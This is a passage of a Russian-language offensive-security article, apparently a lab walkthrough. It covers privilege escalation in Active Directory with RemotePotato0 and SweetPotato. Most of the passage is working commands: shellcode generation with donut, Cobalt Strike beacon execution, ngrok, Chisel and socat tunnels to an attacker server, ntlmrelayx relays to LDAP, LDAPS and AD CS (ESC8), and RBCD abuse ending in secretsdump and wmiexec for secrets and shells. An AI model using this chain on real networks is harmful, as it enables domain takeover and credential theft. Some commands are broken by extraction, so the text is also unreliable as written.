Теперь я могу ловить на 136/TCP на машине атакера трафик, прилетевший с ngrok, и перенаправлять его обратно на жертву. В этом мне поможет SOCKSпрокся, развернутая «Кобой».

Эмпирическим путем было установлено, что проксю лучше поднимать в отдельном биконе, так как изначальная сессия начинает тупить, когда мы делаем execute-assembly с нашим инжектором, который мы, кстати, так и не протестили. Исправим это (теперь надо только перегенерить шелл-код с нужным IP VDS’ки в аргументе -x).

beacon(1)> socks 1080

~$ sudo proxychains4 -q socat -v TCP-LISTEN:136,fork,reuseaddr

TCP::9998

beacon(2)> execute-assembly RemotePotato0Inject.exe

А вот и хешики!

Тем временем на VDS

Но и это не предел наших возможностей — таким же способом можно зарелеить аутентификацию на LDAP. Для начала перегенерим шелл-код с нужными нам аргументами (изменим режим в -m и добавим адрес VDS в -r).

~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 0 -r -x -p 9998 -s

'-o RemotePotato0.bin

Ксожалению, в бесплатной версии ngrok не получится одновременно поднять второй канал, поэтому я воспользуюсь Chisel для перенаправления HTTP-

трафла. Откровенно говоря, можно было и первый редирект настроить через chisel и не юзать ngrok вообще.

Мы подробно рассматривали Chisel, когда решали одну из тачек на Hack The Box.

beacon(1)> socks 1080

(ATTACKER) ~$ ngrok tcp 136

(VDS) ~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<NGROK_

IP>:<NGROK_PORT>

(VDS) ~$ sudo ./chisel server -p 8000 --reverse --auth <USER>:<

PASS>

(ATTACKER) ~$ ./chisel client --auth <USER>:<PASS> <VDS_IP>:8000

R:80:127.0.0.1:8080

(ATTACKER) ~$ sudo proxychains4 -q socat -v TCP-LISTEN:136,fork,

reuseaddr TCP:<VICTIM_INTERNAL_IP>:9998

(ATTACKER) ~$ sudo proxychains4 -q ntlmrelayx.py -t ldap://<DC_

INTERNAL_IP> --http-port 8080 --no-smb-server --no-wcf-server

--no-raw-server --escalate-user <PWNED_USER>

beacon(2)> execute-assembly RemotePotato0Inject.exe

Релеим HTTP через Chisel

Тем временем на VDS (дубль 2)

И я снова энтерпрайз-админ. Таким образом, мы скрафтили способ повышения привилегий с помощью RemotePotato0 без использования вспомогательного хоста на внутреннем периметре!

БОНУС #1. РЕЛЕЙ НА AD CS (ESC8)

Если релеить на LDAP(S) не получается, но в домене есть незащищенный эндпоинт Web Enrollment центра сертификации AD CS, можно провернуть вариацию атаки ESC8 (за подробностями идем в ресерч Certi ed Pre-Owned).

Чтобы релей сработал в этом случае, может потребоваться поиграть с разными значениями CLSID, которые можно указать через аргумент -c. Захардко-

женное значение {5167B42F-C111-47A1-ACC4-8EABE61B0B54} не сработает из-за того, что разные службы (с разными CLSID) используют разные уровни аутентификации при их триггере по RPC (определяется значением этих констант). То, что работает при релее на LDAP, может не сработать при релее на SMB/HTTP (в случае ESC8 релеим именно на HTTP).

Так вот, опять же эмпирическим путем выяснено, что для ESC8 подходит служба CastServerInteractiveUser со значением CLSID {f8842f8e-dafe-4b37-

9d38-4e0714a61149}.

Продемонстрировать со скриншотом, к сожалению, не получится, поскольку в моей лабе сервер TEXAS и играет роль AD CS, а re ective-релей с самого себя не сработает.

Вот вам пруф

Но в командах это должно было бы выглядеть примерно так.

~$ ./donut -i		RemotePotato0.exe -b=1	-t -p	'-m 0	-r -x -p 9998 -s
-c	{f8842f8e-dafe-4b37-9d38-4e0714a61149}'			-o RemotePotato0.bin
~$	ntlmrelayx.py -t http:///certsrv/certfnsh.asp				--no-smb-server --
no-wcf-server		--no-raw-server --adcs	--template User

При успешной генерации сертификата от имени атакованного пользователя дальше действуем обычно, как это происходит после ESC8-атаки, а именно используем Rubeus (флаг /getcredentials) или PKINITtools для получения TGT или NT-хеша жертвы.

БОНУС #2. REMOTEPOTATO БЕЗ REMOTEPOTATO0.EXE

В репозитории Impacket ждет своего часа pull request, избавляющий нас от необходимости тащить на атакуемый хост RemotePotato0.exe: триггер NTLM-аутентификации перенесли в этот форк SweetPotato, RPC-сервер реализовали в самом ntlmrelayx.py, а OXID-резолвер вынесли в отдельный скрипт rpcoxidresolver.py. Однако в этом случае самые вкусные функции не будут работать — триггерить NTLM-аутентификацию можно только от имени машинной УЗ, но не сквозь чужую сессию.

Я покажу способ вооружить и этот вариант атаки, имея под рукой только бикон «Кобы» и инстанс VDS, через классическую реализацию RBCD-абьюза для пывна сервера, откуда прилетает аутентификация.

Для этого сначала определимся, что, куда и зачем мы редиректим:

1. С помощью ngrok создаем TCP-канал извне до localhost:135. Так как RPC-сервер теперь крутится на машине атакующего, нам не нужно ничего зеркалить вторым socat — достаточно запустить rpcoxidresolver.py, который уже слушает localhost:135.

2.С помощью Chisel пробрасываем порт 9997 с VDS на порт машины атакующего 9998, который слушает RPC-сервер ntlmrelayx.py. В качестве адреса RPC-сервера в rpcoxidresolver.py (опция -rip) указываем IP нашего

VDS — это нужно для того, чтобы передать NTLM-аутентификацию в ntlmrelayx.py (при использовании адреса 127.0.0.1 эта конструкция работать отказывается).

3.ntlmrelayx.py пускаем через проксю CS для релея на службу LDAPS контроллера домена. Да, на LDAPS, потому что, применяя релей, мы хотим настроить делегирование относительно вспомогательной сервисной УЗ, которую нельзя создать по LDAP.

4.Стреляем SweetPotato.exe из CS с триггером CLSID {42CBFAA7-A4A7- 47BB-B422-BD10E9D02700}, предлагаемого автором PR.

beacon(1)> socks 1080

(ATTACKER) ~ngroktcp135(V DS) sudo socat -v TCPLISTEN:135,fork,reuseaddr TCP::

(VDS) ~$ sudo ./chisel server -p 6666 --reverse --auth : (ATTACKER) ~$ ./chisel client --auth : :6666 R:9997:127.0.0.1:9998

(ATTACKER) ~$ python examples/rpcoxidresolver.py -oip 127.0.0.1 -rip -rport 9997

(ATTACKER) ~$ proxychains4 -q python examples/ntlmrelayx.py -t ldaps:// --rpc-port 9998 -smb2support --no-smb-server --no-http- server --no-wcf-server --no-raw-server --no-da --no-acl --delegate- access

beacon(2)> execute-assembly SweetPotato.exe -e 1 -oip -c 42CBFAA7- A4A7-47BB-B422-BD10E9D02700

S4U2Proxy, я иду!

После этого, полагаю, не нужно объяснять, что делать дальше.

Получаем TGS-билет через транзитные расширения Kerberos (S4U2Self & S4U2Proxy) с опцией имперсонации пользователя administrator (getST.py)

и фигачим secretsdump.py/wmiexec.py, чтобы извлечь секреты LSA или получить шелл на сервере.

Теперь мы законные админы на сервере TEXAS

Прикольный вариант атаки, но протащить и выполнить оригинальный бинарь, как мы показали ранее, тоже не составляет большого труда.